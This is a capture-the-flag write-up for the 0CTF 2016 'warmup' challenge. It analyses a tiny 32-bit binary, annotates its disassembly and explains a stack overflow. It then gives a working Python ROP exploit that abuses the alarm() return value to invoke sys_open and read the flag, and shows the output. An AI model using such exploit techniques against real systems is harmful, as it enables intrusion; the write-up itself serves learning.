0CTF 2016 exp2 warmup

@mrexcessive @ WHA

0CTF 2016 CTF

exp2 warmup


The problem

warmup for pwning!
notice: This service is protected by a sandbox, you can only read the flag at /home/warmup/flag

nc 202.120.7.207 52608

Binary provided

The solution

First noticable thing is how tiny the binary is... well that's probably good, right ?

$ ls -la
-rwxr-xr-x 1 peter peter 724 Mar 12 03:39 warmup
$ file warmup
warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=0x301079c1c9fc36f38ddaa1cda7f8a3c3110a930d, stripped

Do the normal things:
strings ; objdump -d ; readelf ; gdb && checksec ;

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Head straight for the syscalls documentation :
http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html

A quick read of .asm and it looks like buffer overflow followed by ROP back to the code.

set 10second timer; output "Welcome..." string; read from stdin 0x34==2 chars -> (stack + 0x14)

Stack is :

0xffffd508:&0x08048179&    0x00000000 <0xffffd51c> 0x00000034  &..& is return from read()  <..>==ffffd51c is target of read
0xffffd518:    0x00000000 [0x00000000  0x00000000  0x00000000  [..] is read buffer 0x34 chars
0xffffd528:    0x00000000  0x00000000  0x00000000  0x00000000
0xffffd538:    0x00000000 {0x08048108} 0x00000001  0x080491bc  {..} vulnerable at offset +0x20 return address from interact()
0xffffd548:    0x00000016  0x00000000] 0x00000001  0xffffd6ab
0xffffd558:    0x00000000  0xffffd6cf  0xffffd6e2  0xffffd71b
0xffffd568:    0xffffd726  0xffffd736  0xffffd787  0xffffd799
0xffffd578:    0xffffd7d1  0xffffd7dc  0xffffdcfd  0xffffdd31
0xffffd588:    0xffffdd81  0xffffdd90  0xffffdd9b  0xffffddb3

So we can overwrite 0x8048108, which is return from the read mini-func, and get EIP control ?

ROP will be tricky without any libs. Nothing surprising hidden for ROPgadget to reveal. There is no 'win' function to call.

So... We will be building an open-file ; read-from-file ; write-to-stdout somehow...

Problem is - there is no open call and no obvious way to get 5 into EAX (for sys_open)

My commented disassembly:


warmup:     file format elf32-i386


Disassembly of section .text:

080480d8 <.text>:
 80480d8:    83 ec 10                sub    $0x10,%esp          # stack space 0x10
 80480db:    c7 04 24 0a 00 00 00    movl   $0xa,(%esp)            
 80480e2:    e8 26 00 00 00          call   0x804810d           # alarm(10)
 80480e7:    c7 04 24 01 00 00 00    movl   $0x1,(%esp)            # 1 == stdout
 80480ee:    c7 44 24 04 bc 91 04    movl   $0x80491bc,0x4(%esp)   # "Welcome to 0CTF 2016!\n"
 80480f5:    08 
 80480f6:    c7 44 24 08 16 00 00    movl   $0x16,0x8(%esp)        # output 22 chars = 0x16
 80480fd:    00 
 80480fe:    e8 32 00 00 00          call   0x8048135           # write(1,"Welcome..",22)
 8048103:    e8 52 00 00 00          call   0x804815a           # interact()
 8048108:    e8 40 00 00 00          call   0x804814d           # exit(0)

alarm:
 804810d:    b8 1b 00 00 00          mov    $0x1b,%eax          # sys_alarm
 8048112:    8b 5c 24 04             mov    0x4(%esp),%ebx      # already got param 0xa at 0(esp)
 8048116:    cd 80                   int    $0x80               # syscall(sys_alarm, 0xa)
 8048118:    85 c0                   test   %eax,%eax           # FAIL ?
 804811a:    78 31                   js     0x804814d           # exit(0)
 804811c:    c3                      ret    

read:
 804811d:    b8 03 00 00 00          mov    $0x3,%eax           #  sys_read; esp = 0xffffd508 on entry
 8048122:    8b 5c 24 04             mov    0x4(%esp),%ebx      # [0xffffd50c] == 0, stdin
 8048126:    8b 4c 24 08             mov    0x8(%esp),%ecx      # [0xffffd510] == 0xffffd51c BUFFER on stack
 804812a:    8b 54 24 0c             mov    0xc(%esp),%edx      # [0xffffd514] == 0x34 == read length 52 chars
 804812e:    cd 80                   int    $0x80               # read input
 8048130:    85 c0                   test   %eax,%eax
 8048132:    78 19                   js     0x804814d
 8048134:    c3                      ret   

write:
 8048135:    b8 04 00 00 00          mov    $0x4,%eax
 804813a:    8b 5c 24 04             mov    0x4(%esp),%ebx
 804813e:    8b 4c 24 08             mov    0x8(%esp),%ecx
 8048142:    8b 54 24 0c             mov    0xc(%esp),%edx
 8048146:    cd 80                   int    $0x80               # syscall(sys_write==4,...)
 8048148:    85 c0                   test   %eax,%eax
 804814a:    78 01                   js     0x804814d
 804814c:    c3                      ret   

exit:
 804814d:    b8 01 00 00 00          mov    $0x1,%eax
 8048152:    bb 00 00 00 00          mov    $0x0,%ebx
 8048157:    cd 80                   int    $0x80
 8048159:    f4                      hlt    

interact:
 804815a:    83 ec 30                sub    $0x30,%esp
 804815d:    c7 04 24 00 00 00 00    movl   $0x0,(%esp)            # 0 == 
 8048164:    8d 44 24 10             lea    0x10(%esp),%eax
 8048168:    89 44 24 04             mov    %eax,0x4(%esp)
 804816c:    c7 44 24 08 34 00 00    movl   $0x34,0x8(%esp)
 8048173:    00 
 8048174:    e8 a4 ff ff ff          call   0x804811d              # read()
 8048179:    c7 04 24 01 00 00 00    movl   $0x1,(%esp)
 8048180:    c7 44 24 04 d3 91 04    movl   $0x80491d3,0x4(%esp)   "Good Luck!\n"
 8048187:    08 
 8048188:    c7 44 24 08 0b 00 00    movl   $0xb,0x8(%esp)         11
 804818f:    00 
 8048190:    e8 a0 ff ff ff          call   0x8048135              write()
 8048195:    b8 af be ad de          mov    $0xdeadbeaf,%eax       # blat registers
 804819a:    b9 af be ad de          mov    $0xdeadbeaf,%ecx
 804819f:    ba af be ad de          mov    $0xdeadbeaf,%edx
 80481a4:    bb af be ad de          mov    $0xdeadbeaf,%ebx
 80481a9:    be af be ad de          mov    $0xdeadbeaf,%esi
 80481ae:    bf af be ad de          mov    $0xdeadbeaf,%edi
 80481b3:    bd af be ad de          mov    $0xdeadbeaf,%ebp
 80481b8:    83 c4 30                add    $0x30,%esp
 80481bb:    c3                      ret    

Running locally and checking memory maps:

$ cat /proc/46758/maps
08048000-08049000 r-xp 00000000 08:11 7079025                            /home/peter/CTFs/0CTF/warmup/warmup
08049000-0804a000 rw-p 00000000 08:11 7079025                            /home/peter/CTFs/0CTF/warmup/warmup
f7ffa000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

Nothing is w & x so has to be ROP-like

I'm planning to create a loop... so execute a mini-function we want to run, then re-run the program from start of interact, or maybe from 0x804815d

How to get 5 into eax ? from the syscall's page...

EAX                     EBX            ECX (flags) EDX (MODE)                       
5    sys_open    fs/open.c   const char *    int       int
5                       0x80491d3         
                        == write buf

Exploit R&D time

I grab my standard python socket pwning script and configure a local server using socat.
Then setup for local testing.

Because I don't like to be constrained to 10 seconds of gdb time... I patch the binary to give me ample time.

$ ; window one
$ socat TCP_LISTEN:1337,reuseaddr,fork EXEC:"./hacked"

$ ; window two
$ ./pwn.py            ; which talks to the server, pausing after connect so debugger can be started

$ ; window three
$ ps ax |grep hacked
$ gdb ./hacked -p 

The exploit will need to put the filename somewhere before calling open()
Hmmm...

So... Can I run the read function with params I control then re-run interact ??
Ie. &interact becomes the return address for the ROP into read:

So that works...

x/64xw 0x8049800
0x8049800:    0x5a5a5a5a  0x5a5a5a5a  0x5a5a5a5a  0x5a5a5a5a
0x8049810:    0x5a5a5a5a  0x5a5a5a5a  0x5a5a5a5a  0x5a5a5a5a
0x8049820:    0x5a5a5a5a  0x5a5a5a5a  0x5a5a5a5a  0x5a5a5a5a
0x8049830:    0x5a5a5a5a  0x5a5a5a5a  0x5a5a5a5a  0x5a5a5a5a
.... snip ... continues ...

How to get 5 into eax for execve ?

I mess about for a while then realise... just use the timer!
Wait 4 or 5 seconds after startup, the timer starts at 10, then call alarm: mini-function and it will put 5 (or 6...) into eax. Actually turns out it's pretty reliably 5 if you wait 5 seconds, who knew...

So... There is now a need for some ROP fiddling. The repeat call approach is the easiest.. that is:

  1. call read (1 == stdin) and transfer "/home/warmup/flag\0" to the second memory page
    • the second memory page, see above, is RW (so we can write to it...)
  2. call alarm: to set function 5 and return to interact:
  3. call second instruction of read: (so eax doesn't get stomped) and return to interact:
    • this will do sys_open, with luck
  4. call read again, assuming a file handle 3 this time for our newly open file -> RW memory
  5. now call write and send the data read to stdout

This takes about an hour to get correct locally, then it just works remotely.

Full code is on github, https://gist.github.com/mrexcessive/10d687b5e617fa7b2063
Crucial parts below

def PwnServer():
   r = GetResponse(expect="!",timeout=2)
   print r
   fpbuf = 0x8049800

   time.sleep(4)    # wait for alarm to die a bit

   if True:    # open file using alarm() ; read+1() and restart()
      # setup filepath in fpbuf
      extract = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"
      extract += p(0x0804811d)         # read()
      extract += p(0x080480e7)         # restart program after read()
      extract += p(0)                  # 
      extract += p(fpbuf)
      fp = "/home/warmup/flag\0"
      extract += p(len(fp))
      s.send(extract)

      # now send the filepath
      s.send(fp)

      # now use alarm() to read a 5 (after sleep countdown from 10)
      # sys_read requires:
      # ebx = handle (guess this, low number >2) ; ecx = &buf (reuse fpbuf) ; edx = size == 0x30
      extract = "A1A1B1B1C1C1D1D1E1E1F1F1G1G1H1H1"    # 0x20 bytes to here
      extract += p(0x0804810d)         # alarm()
      extract += p(0x08048122)         # return from alarm(): read+1 being used for open()
      extract += p(0x080480e7)         # return from open(): restart program _and_ new alarm time for alarm()
      extract += p(fpbuf)              # fname for open()
      extract += p(0x100)              # flags for open()
      s.send(extract)


   if True:    # assuming we have file handle (3) at this point

      # READ() now we have file open... read contents to the buffer
      # sys_read requires:
      # ebx = handle (guess this, low number >2) ; ecx = &buf (reuse fpbuf) ; edx = size == 0x30
      extract = "a1a1b1b1c1c1d1d1e1e1f1f1g1g1h1h1"
      extract += p(0x0804811d)         # read()
      extract += p(0x080480e7)         # restart program after read()
      extract += p(3)
      extract += p(fpbuf)
      extract += p(0x40)
      s.send(extract)

      # WRITE() to stdout
      extract = "a2a2b2b2c2c2d2d2e2e2f2f2g2g2h2h2"
      extract += p(0x08048135)         # ROP directly to write()
      extract += p(0x080480e7)         # after write go back and restart program...
      extract += p(1)                  # 
      extract += p(fpbuf)              # "elcome..."
      extract += p(0x40)               #len
      s.send(extract + "\n")

   r = GetResponse(timeout=1)
   HexPrint(r)

output is

./pwn.py
Welcome to 0CTF 2016!
0a 47 6f 6f 64 20 4c 75 - 63 6b 21 0a 57 65 6c 63    .Good.Luck!.Welc
6f 6d 65 20 74 6f 20 30 - 43 54 46 20 32 30 31 36    ome.to.0CTF.2016
21 0a 47 6f 6f 64 20 4c - 75 63 6b 21 0a 57 65 6c    !.Good.Luck!.Wel
63 6f 6d 65 20 74 6f 20 - 30 43 54 46 20 32 30 31    come.to.0CTF.201
36 21 0a 47 6f 6f 64 20 - 4c 75 63 6b 21 0a 57 65    6!.Good.Luck!.We
6c 63 6f 6d 65 20 74 6f - 20 30 43 54 46 20 32 30    lcome.to.0CTF.20
31 36 21 0a 47 6f 6f 64 - 20 4c 75 63 6b 21 0a 30    16!.Good.Luck!.0
63 74 66 7b 77 65 6c 63 - 6f 6d 65 5f 69 74 5f 69    ctf{welcome_it_i
73 5f 70 77 6e 69 6e 67 - 5f 74 69 6d 65 7d 0a 00    s_pwning_time}..
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00    ................
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 57    ...............W
65 6c 63 6f 6d 65 20 74 - 6f 20 30 43 54 46 20 32    elcome.to.0CTF.2
30 31 36 21 0a 47 6f 6f - 64 20 4c 75 63 6b 21 0a    016!.Good.Luck!.
*** Connection closed by remote host ***

0ctf{welcome_it_is_pwning_time}